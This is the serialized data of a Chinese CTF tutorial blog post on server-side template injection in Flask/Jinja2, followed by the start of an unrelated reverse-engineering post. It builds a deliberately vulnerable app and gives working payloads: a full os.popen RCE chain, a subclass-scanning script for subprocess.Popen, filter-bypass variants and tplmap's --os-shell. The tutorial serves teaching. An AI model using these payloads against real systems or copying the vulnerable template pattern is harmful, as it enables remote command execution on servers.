[{"data":1,"prerenderedAt":14469},["ShallowReactive",2],{"blog-post-/blogs/ctf-web-ssti-deep-dive":3,"all-blogs-for-navigation":1144},{"id":4,"title":5,"body":6,"description":1129,"extension":1130,"meta":1131,"navigation":41,"ogImage":1133,"path":1140,"seo":1141,"stem":1142,"__hash__":1143},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":8,"toc":1119},"minimark",[9,14,18,78,89,92,101,107,111,131,138,194,197,209,213,220,234,239,259,262,287,291,307,309,327,337,341,414,418,423,459,468,472,480,484,490,493,509,511,529,532,548,550,568,581,589,600,607,613,616,699,705,708,714,718,730,739,751,755,761,765,771,780,784,788,837,841,884,890,894,897,972,976,986,990,995,1010,1016,1020,1035,1064,1067,1073,1077,1085,1088,1094,1098,1115],[10,11,13],"h3",{"id":12},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,16,17],"p",{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[19,20,25],"pre",{"className":21,"code":22,"language":23,"meta":24,"style":24},"language-python shiki shiki-themes dracula","from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n","python","",[26,27,28,36,43,49,54,60,66,72],"code",{"__ignoreMap":24},[29,30,33],"span",{"class":31,"line":32},"line",1,[29,34,35],{},"from flask import Flask, render_template\n",[29,37,39],{"class":31,"line":38},2,[29,40,42],{"emptyLinePlaceholder":41},true,"\n",[29,44,46],{"class":31,"line":45},3,[29,47,48],{},"app = Flask(__name__)\n",[29,50,52],{"class":31,"line":51},4,[29,53,42],{"emptyLinePlaceholder":41},[29,55,57],{"class":31,"line":56},5,[29,58,59],{},"@app.route(\"/\")\n",[29,61,63],{"class":31,"line":62},6,[29,64,65],{},"def index():\n",[29,67,69],{"class":31,"line":68},7,[29,70,71],{},"    name = request.args.get(\"name\", \"world\")\n",[29,73,75],{"class":31,"line":74},8,[29,76,77],{},"    return render_template(\"hello.html\", name=name)\n",[15,79,80,81,84,85,88],{},"模板文件 ",[26,82,83],{},"hello.html"," 内容是固定的 ",[26,86,87],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,90,91],{},"错误写法是把用户输入拼进模板字符串：",[19,93,95],{"className":21,"code":94,"language":23,"meta":24,"style":24},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[26,96,97],{"__ignoreMap":24},[29,98,99],{"class":31,"line":32},[29,100,94],{},[15,102,103,106],{},[26,104,105],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,108,110],{"id":109},"二环境搭建","二、环境搭建",[19,112,116],{"className":113,"code":114,"language":115,"meta":24,"style":24},"language-bash shiki shiki-themes dracula","pip install flask\n","bash",[26,117,118],{"__ignoreMap":24},[29,119,120,124,128],{"class":31,"line":32},[29,121,123],{"class":122},"sAOxA","pip",[29,125,127],{"class":126},"s-mGx"," install",[29,129,130],{"class":126}," flask\n",[15,132,133,134,137],{},"保存 ",[26,135,136],{},"app.py","：",[19,139,141],{"className":21,"code":140,"language":23,"meta":24,"style":24},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[26,142,143,148,152,156,160,164,168,172,177,183,188],{"__ignoreMap":24},[29,144,145],{"class":31,"line":32},[29,146,147],{},"from flask import Flask, request, render_template_string\n",[29,149,150],{"class":31,"line":38},[29,151,42],{"emptyLinePlaceholder":41},[29,153,154],{"class":31,"line":45},[29,155,48],{},[29,157,158],{"class":31,"line":51},[29,159,42],{"emptyLinePlaceholder":41},[29,161,162],{"class":31,"line":56},[29,163,59],{},[29,165,166],{"class":31,"line":62},[29,167,65],{},[29,169,170],{"class":31,"line":68},[29,171,71],{},[29,173,174],{"class":31,"line":74},[29,175,176],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[29,178,180],{"class":31,"line":179},9,[29,181,182],{},"    return render_template_string(html, name=name)\n",[29,184,186],{"class":31,"line":185},10,[29,187,42],{"emptyLinePlaceholder":41},[29,189,191],{"class":31,"line":190},11,[29,192,193],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,195,196],{},"运行：",[19,198,200],{"className":113,"code":199,"language":115,"meta":24,"style":24},"python app.py\n",[26,201,202],{"__ignoreMap":24},[29,203,204,206],{"class":31,"line":32},[29,205,23],{"class":122},[29,207,208],{"class":126}," app.py\n",[10,210,212],{"id":211},"三核心步骤-1探测","三、核心步骤 1：探测",[15,214,215,219],{},[216,217,218],"strong",{},"目的","：确认\"用户输入被当作模板代码求值\"。",[15,221,222,225,226,229,230,233],{},[216,223,224],{},"思路","：模板引擎会执行 ",[26,227,228],{},"{{ 表达式 }}","。传 ",[26,231,232],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[235,236,238],"h4",{"id":237},"_31-正常请求","3.1 正常请求",[19,240,242],{"className":113,"code":241,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[26,243,244],{"__ignoreMap":24},[29,245,246,249,253,256],{"class":31,"line":32},[29,247,248],{"class":122},"curl",[29,250,252],{"class":251},"seVfx"," \"",[29,254,255],{"class":126},"http://127.0.0.1:5000/?name=alice",[29,257,258],{"class":251},"\"\n",[15,260,261],{},"预期输出：",[19,263,267],{"className":264,"code":265,"language":266,"meta":24,"style":24},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[26,268,269],{"__ignoreMap":24},[29,270,271,275,279,282,284],{"class":31,"line":32},[29,272,274],{"class":273},"sCdxs","\u003C",[29,276,278],{"class":277},"s0Tla","h1",[29,280,281],{"class":273},">Hello, alice!\u003C/",[29,283,278],{"class":277},[29,285,286],{"class":273},">\n",[235,288,290],{"id":289},"_32-表达式求值","3.2 表达式求值",[19,292,294],{"className":113,"code":293,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[26,295,296],{"__ignoreMap":24},[29,297,298,300,302,305],{"class":31,"line":32},[29,299,248],{"class":122},[29,301,252],{"class":251},[29,303,304],{"class":126},"http://127.0.0.1:5000/?name={{7*7}}",[29,306,258],{"class":251},[15,308,261],{},[19,310,312],{"className":264,"code":311,"language":266,"meta":24,"style":24},"\u003Ch1>Hello, 49!\u003C/h1>\n",[26,313,314],{"__ignoreMap":24},[29,315,316,318,320,323,325],{"class":31,"line":32},[29,317,274],{"class":273},[29,319,278],{"class":277},[29,321,322],{"class":273},">Hello, 49!\u003C/",[29,324,278],{"class":277},[29,326,286],{"class":273},[15,328,329,332,333,336],{},[26,330,331],{},"7*7"," 被求值成 ",[26,334,335],{},"49","，说明模板表达式生效，SSTI 成立。",[235,338,340],{"id":339},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[342,343,344,360],"table",{},[345,346,347],"thead",{},[348,349,350,354,357],"tr",{},[351,352,353],"th",{},"引擎",[351,355,356],{},"语言",[351,358,359],{},"探测 payload",[361,362,363,376,389,401],"tbody",{},[348,364,365,369,372],{},[366,367,368],"td",{},"Jinja2 / Twig",[366,370,371],{},"Python / PHP",[366,373,374],{},[26,375,232],{},[348,377,378,381,384],{},[366,379,380],{},"Freemarker",[366,382,383],{},"Java",[366,385,386],{},[26,387,388],{},"${7*7}",[348,390,391,394,396],{},[366,392,393],{},"Velocity",[366,395,383],{},[366,397,398],{},[26,399,400],{},"#set($x=7*7)$x",[348,402,403,406,409],{},[366,404,405],{},"Smarty",[366,407,408],{},"PHP",[366,410,411],{},[26,412,413],{},"{$smarty.version}",[10,415,417],{"id":416},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,419,420,422],{},[216,421,218],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,424,425,427,428,431,432,435,436,435,439,442,443,446,447,450,451,454,455,458],{},[216,426,224],{},"：模板只能访问少量对象（如 ",[26,429,430],{},"config","）。Python 对象有 ",[26,433,434],{},"__class__","、",[26,437,438],{},"__init__",[26,440,441],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[26,444,445],{},"os"," 模块。验证方式：先执行 ",[26,448,449],{},"id","，输出 ",[26,452,453],{},"uid=..."," 即成功，再换 ",[26,456,457],{},"cat /flag","。",[15,460,461,462,464,465,467],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[26,463,430],{}," 对象，沿 Python 内部属性找到 ",[26,466,445],{}," 模块。",[235,469,471],{"id":470},"_41-分步理解","4.1 分步理解",[19,473,478],{"className":474,"code":476,"language":477,"meta":24},[475],"language-text","config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n","text",[26,479,476],{"__ignoreMap":24},[235,481,483],{"id":482},"_42-完整-payload","4.2 完整 payload",[19,485,488],{"className":486,"code":487,"language":477,"meta":24},[475],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[26,489,487],{"__ignoreMap":24},[15,491,492],{},"用 curl 发送：",[19,494,496],{"className":113,"code":495,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[26,497,498],{"__ignoreMap":24},[29,499,500,502,504,507],{"class":31,"line":32},[29,501,248],{"class":122},[29,503,252],{"class":251},[29,505,506],{"class":126},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[29,508,258],{"class":251},[15,510,261],{},[19,512,514],{"className":264,"code":513,"language":266,"meta":24,"style":24},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[26,515,516],{"__ignoreMap":24},[29,517,518,520,522,525,527],{"class":31,"line":32},[29,519,274],{"class":273},[29,521,278],{"class":277},[29,523,524],{"class":273},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[29,526,278],{"class":277},[29,528,286],{"class":273},[15,530,531],{},"命令执行成功。读 flag：",[19,533,535],{"className":113,"code":534,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[26,536,537],{"__ignoreMap":24},[29,538,539,541,543,546],{"class":31,"line":32},[29,540,248],{"class":122},[29,542,252],{"class":251},[29,544,545],{"class":126},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[29,547,258],{"class":251},[15,549,261],{},[19,551,553],{"className":264,"code":552,"language":266,"meta":24,"style":24},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[26,554,555],{"__ignoreMap":24},[29,556,557,559,561,564,566],{"class":31,"line":32},[29,558,274],{"class":273},[29,560,278],{"class":277},[29,562,563],{"class":273},">Hello, flag{ssti_rce}!\u003C/",[29,565,278],{"class":277},[29,567,286],{"class":273},[15,569,570,137,578,580],{},[216,571,572,573,575,576],{},"为什么先试 ",[26,574,449],{}," 再试 ",[26,577,457],{},[26,579,449],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[235,582,584,585,588],{"id":583},"_43-备选链subclasses-扫描","4.3 备选链：",[216,586,587],{},"subclasses"," 扫描",[15,590,591,593,594,596,597,458],{},[216,592,218],{},"：当 ",[26,595,430],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[26,598,599],{},"subprocess.Popen",[15,601,602,604,605,137],{},[26,603,430],{}," 链不可用时，从字符串对象出发找 ",[26,606,599],{},[19,608,611],{"className":609,"code":610,"language":477,"meta":24},[475],"''.__class__.__mro__[1].__subclasses__()\n",[26,612,610],{"__ignoreMap":24},[15,614,615],{},"先用 Python 脚本找下标：",[19,617,619],{"className":21,"code":618,"language":23,"meta":24,"style":24},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[26,620,621,626,630,635,640,645,650,655,660,665,670,675,681,687,693],{"__ignoreMap":24},[29,622,623],{"class":31,"line":32},[29,624,625],{},"import requests\n",[29,627,628],{"class":31,"line":38},[29,629,42],{"emptyLinePlaceholder":41},[29,631,632],{"class":31,"line":45},[29,633,634],{},"url = \"http://127.0.0.1:5000/\"\n",[29,636,637],{"class":31,"line":51},[29,638,639],{},"for i in range(500):\n",[29,641,642],{"class":31,"line":56},[29,643,644],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[29,646,647],{"class":31,"line":62},[29,648,649],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[29,651,652],{"class":31,"line":68},[29,653,654],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[29,656,657],{"class":31,"line":74},[29,658,659],{},"    # .__mro__[1]：继承链上的 object 类；\n",[29,661,662],{"class":31,"line":179},[29,663,664],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[29,666,667],{"class":31,"line":185},[29,668,669],{},"    # .__name__：该类的名字，会渲染到页面。\n",[29,671,672],{"class":31,"line":190},[29,673,674],{},"    r = requests.get(url, params={\"name\": payload})\n",[29,676,678],{"class":31,"line":677},12,[29,679,680],{},"    if \"Popen\" in r.text:\n",[29,682,684],{"class":31,"line":683},13,[29,685,686],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[29,688,690],{"class":31,"line":689},14,[29,691,692],{},"        print(\"Popen index:\", i)\n",[29,694,696],{"class":31,"line":695},15,[29,697,698],{},"        break\n",[15,700,261,701,704],{},[26,702,703],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,706,707],{},"然后利用：",[19,709,712],{"className":710,"code":711,"language":477,"meta":24},[475],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[26,713,711],{"__ignoreMap":24},[10,715,717],{"id":716},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,719,720,722,723,435,726,729],{},[216,721,218],{},"：题目过滤 ",[26,724,725],{},".",[26,727,728],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,731,732,734,735,738],{},[216,733,224],{},"：点号访问可以用 Jinja2 的 ",[26,736,737],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,740,741,742,435,744,435,747,750],{},"题目常过滤 ",[26,743,725],{},[26,745,746],{},"[",[26,748,749],{},"]"," 或关键词。",[235,752,754],{"id":753},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[19,756,759],{"className":757,"code":758,"language":477,"meta":24},[475],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[26,760,758],{"__ignoreMap":24},[235,762,764],{"id":763},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[19,766,769],{"className":767,"code":768,"language":477,"meta":24},[475],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[26,770,768],{"__ignoreMap":24},[15,772,773,774,435,776,779],{},"模板里不再出现 ",[26,775,445],{},[26,777,778],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,781,783],{"id":782},"六必学工具","六、必学工具",[235,785,787],{"id":786},"工具-1curl","工具 1：curl",[19,789,791],{"className":113,"code":790,"language":115,"meta":24,"style":24},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[26,792,793,809],{"__ignoreMap":24},[29,794,795,797,799,802,805],{"class":31,"line":32},[29,796,248],{"class":122},[29,798,252],{"class":251},[29,800,801],{"class":126},"http://target/?name={{7*7}}",[29,803,804],{"class":251},"\"",[29,806,808],{"class":807},"shSDL","          # 探测\n",[29,810,811,813,817,819,822,824,827,829,832,834],{"class":31,"line":38},[29,812,248],{"class":122},[29,814,816],{"class":815},"sIQBb"," -G",[29,818,252],{"class":251},[29,820,821],{"class":126},"http://target/",[29,823,804],{"class":251},[29,825,826],{"class":815}," --data-urlencode",[29,828,252],{"class":251},[29,830,831],{"class":126},"name={{...}}",[29,833,804],{"class":251},[29,835,836],{"class":807},"   # 自动 URL 编码\n",[235,838,840],{"id":839},"工具-2requests","工具 2：requests",[19,842,844],{"className":21,"code":843,"language":23,"meta":24,"style":24},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[26,845,846,850,854,859,864,869,874,879],{"__ignoreMap":24},[29,847,848],{"class":31,"line":32},[29,849,625],{},[29,851,852],{"class":31,"line":38},[29,853,42],{"emptyLinePlaceholder":41},[29,855,856],{"class":31,"line":45},[29,857,858],{},"url = \"http://target/\"\n",[29,860,861],{"class":31,"line":51},[29,862,863],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[29,865,866],{"class":31,"line":56},[29,867,868],{},"r = requests.get(url, params={\"name\": payload})\n",[29,870,871],{"class":31,"line":62},[29,872,873],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[29,875,876],{"class":31,"line":68},[29,877,878],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[29,880,881],{"class":31,"line":74},[29,882,883],{},"print(r.text)\n",[15,885,886,889],{},[26,887,888],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[235,891,893],{"id":892},"工具-3tplmap","工具 3：tplmap",[15,895,896],{},"模板注入自动化工具：",[19,898,900],{"className":113,"code":899,"language":115,"meta":24,"style":24},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[26,901,902,913,935,955],{"__ignoreMap":24},[29,903,904,907,910],{"class":31,"line":32},[29,905,906],{"class":122},"git",[29,908,909],{"class":126}," clone",[29,911,912],{"class":126}," https://github.com/epinna/tplmap\n",[29,914,915,919,922,925,927,929,932],{"class":31,"line":38},[29,916,918],{"class":917},"sLL85","cd",[29,920,921],{"class":126}," tplmap",[29,923,924],{"class":273}," && ",[29,926,123],{"class":122},[29,928,127],{"class":126},[29,930,931],{"class":815}," -r",[29,933,934],{"class":126}," requirements.txt\n",[29,936,937,939,942,945,947,950,952],{"class":31,"line":45},[29,938,23],{"class":122},[29,940,941],{"class":126}," tplmap.py",[29,943,944],{"class":815}," -u",[29,946,252],{"class":251},[29,948,949],{"class":126},"http://target/?name=*",[29,951,804],{"class":251},[29,953,954],{"class":807},"          # * 是注入点标记\n",[29,956,957,959,961,963,965,967,969],{"class":31,"line":51},[29,958,23],{"class":122},[29,960,941],{"class":126},[29,962,944],{"class":815},[29,964,252],{"class":251},[29,966,949],{"class":126},[29,968,804],{"class":251},[29,970,971],{"class":815}," --os-shell\n",[10,973,975],{"id":974},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,977,978,979,982,983,458],{},"题目：",[26,980,981],{},"http://target/?name="," 存在 SSTI，flag 在 ",[26,984,985],{},"/flag",[235,987,989],{"id":988},"第一步探测","第一步：探测",[15,991,992,994],{},[216,993,218],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[19,996,998],{"className":113,"code":997,"language":115,"meta":24,"style":24},"curl \"http://target/?name={{7*7}}\"\n",[26,999,1000],{"__ignoreMap":24},[29,1001,1002,1004,1006,1008],{"class":31,"line":32},[29,1003,248],{"class":122},[29,1005,252],{"class":251},[29,1007,801],{"class":126},[29,1009,258],{"class":251},[15,1011,1012,1013,1015],{},"响应含 ",[26,1014,335],{}," → 确认。",[235,1017,1019],{"id":1018},"第二步直接打","第二步：直接打",[15,1021,1022,1024,1025,1028,1029,1031,1032,1034],{},[216,1023,224],{},"：先 ",[26,1026,1027],{},"config.__globals__"," 链试 ",[26,1030,457],{},"；如果响应没出现 flag 内容，先改用 ",[26,1033,449],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[19,1036,1038],{"className":21,"code":1037,"language":23,"meta":24,"style":24},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[26,1039,1040,1044,1048,1052,1056,1060],{"__ignoreMap":24},[29,1041,1042],{"class":31,"line":32},[29,1043,625],{},[29,1045,1046],{"class":31,"line":38},[29,1047,42],{"emptyLinePlaceholder":41},[29,1049,1050],{"class":31,"line":45},[29,1051,858],{},[29,1053,1054],{"class":31,"line":51},[29,1055,863],{},[29,1057,1058],{"class":31,"line":56},[29,1059,868],{},[29,1061,1062],{"class":31,"line":62},[29,1063,883],{},[15,1065,1066],{},"预期输出中出现：",[19,1068,1071],{"className":1069,"code":1070,"language":477,"meta":24},[475],"flag{ssti_rce}\n",[26,1072,1070],{"__ignoreMap":24},[235,1074,1076],{"id":1075},"第三步被过滤时","第三步：被过滤时",[15,1078,1079,1081,1082,1084],{},[216,1080,224],{},"：把点号换成 ",[26,1083,737],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,1086,1087],{},"改用 attr 与 request.args 组合：",[19,1089,1092],{"className":1090,"code":1091,"language":477,"meta":24},[475],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[26,1093,1091],{"__ignoreMap":24},[10,1095,1097],{"id":1096},"八小结","八、小结",[15,1099,1100,1101,1103,1104,1107,1108,1110,1111,1114],{},"SSTI 主线：探测 ",[26,1102,232],{}," → ",[26,1105,1106],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[26,1109,737],{},"/",[26,1112,1113],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1116,1117,1118],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":1120},[1121,1122,1123,1124,1125,1126,1127,1128],{"id":12,"depth":45,"text":13},{"id":109,"depth":45,"text":110},{"id":211,"depth":45,"text":212},{"id":416,"depth":45,"text":417},{"id":716,"depth":45,"text":717},{"id":782,"depth":45,"text":783},{"id":974,"depth":45,"text":975},{"id":1096,"depth":45,"text":1097},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。","md",{"date":1132,"image":1133,"alt":1134,"tags":1135,"published":41},"14th Aug 2026","/blogs-img/blog6.png","SSTI 深入实战",[1136,1137,1138,1139],"ctf","web","ssti","example","/blogs/ctf-web-ssti-deep-dive",{"title":5,"description":1129},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",[1145,2456,3333,4337,5304,6700,7522,8474,9572,10609,11588,12610],{"id":1146,"title":1147,"body":1148,"description":2446,"extension":1130,"meta":2447,"navigation":41,"ogImage":2448,"path":2452,"seo":2453,"stem":2454,"__hash__":2455},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":1149,"toc":2436},[1150,1154,1157,1160,1206,1209,1213,1216,1243,1250,1254,1259,1264,1268,1271,1284,1286,1292,1303,1308,1312,1314,1326,1328,1334,1344,1361,1364,1369,1392,1396,1408,1413,1425,1430,1435,1439,1444,1461,1465,1467,1488,1491,1530,1533,1590,1593,1647,1654,1674,1678,1711,1714,1734,1741,1757,1761,1781,1783,1789,1799,1812,1816,1819,1879,1882,1905,1908,1935,1938,1942,1945,1950,1959,1971,1974,1978,1988,1990,1996,2000,2009,2011,2017,2020,2024,2033,2036,2040,2049,2055,2064,2067,2091,2098,2111,2114,2120,2123,2129,2131,2212,2221,2225,2231,2235,2240,2253,2269,2275,2279,2284,2293,2299,2308,2312,2317,2326,2391,2393,2399,2403,2416,2420,2422,2433],[10,1151,1153],{"id":1152},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1155,1156],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1158,1159],{},"目标程序示例：",[19,1161,1163],{"className":113,"code":1162,"language":115,"meta":24,"style":24},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[26,1164,1165,1173,1192,1201],{"__ignoreMap":24},[29,1166,1167,1170],{"class":31,"line":32},[29,1168,1169],{"class":122},"$",[29,1171,1172],{"class":126}," ./checkflag\n",[29,1174,1175,1178,1181,1184,1187,1190],{"class":31,"line":38},[29,1176,1177],{"class":122},"Usage:",[29,1179,1180],{"class":126}," ./checkflag",[29,1182,1183],{"class":277}," \u003C",[29,1185,1186],{"class":126},"fla",[29,1188,1189],{"class":273},"g",[29,1191,286],{"class":277},[29,1193,1194,1196,1198],{"class":31,"line":45},[29,1195,1169],{"class":122},[29,1197,1180],{"class":126},[29,1199,1200],{"class":126}," test\n",[29,1202,1203],{"class":31,"line":51},[29,1204,1205],{"class":122},"Wrong!\n",[15,1207,1208],{},"解题目标：通过分析二进制，找出正确输入。",[10,1210,1212],{"id":1211},"二环境准备","二、环境准备",[15,1214,1215],{},"在 Linux（Kali/Ubuntu）上：",[19,1217,1219],{"className":113,"code":1218,"language":115,"meta":24,"style":24},"apt install file binutils gdb ltrace strace\n",[26,1220,1221],{"__ignoreMap":24},[29,1222,1223,1226,1228,1231,1234,1237,1240],{"class":31,"line":32},[29,1224,1225],{"class":122},"apt",[29,1227,127],{"class":126},[29,1229,1230],{"class":126}," file",[29,1232,1233],{"class":126}," binutils",[29,1235,1236],{"class":126}," gdb",[29,1238,1239],{"class":126}," ltrace",[29,1241,1242],{"class":126}," strace\n",[15,1244,1245,1246,1249],{},"本文以编译后的 ",[26,1247,1248],{},"checkflag"," 为例，逐步演示。",[10,1251,1253],{"id":1252},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1255,1256,1258],{},[216,1257,218],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1260,1261,1263],{},[216,1262,224],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[235,1265,1267],{"id":1266},"_31-file看文件类型","3.1 file：看文件类型",[15,1269,1270],{},"输入：",[19,1272,1274],{"className":113,"code":1273,"language":115,"meta":24,"style":24},"file checkflag\n",[26,1275,1276],{"__ignoreMap":24},[29,1277,1278,1281],{"class":31,"line":32},[29,1279,1280],{"class":122},"file",[29,1282,1283],{"class":126}," checkflag\n",[15,1285,261],{},[19,1287,1290],{"className":1288,"code":1289,"language":477,"meta":24},[475],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[26,1291,1289],{"__ignoreMap":24},[15,1293,1294,1295,1298,1299,1302],{},"重点看最后：",[26,1296,1297],{},"not stripped"," 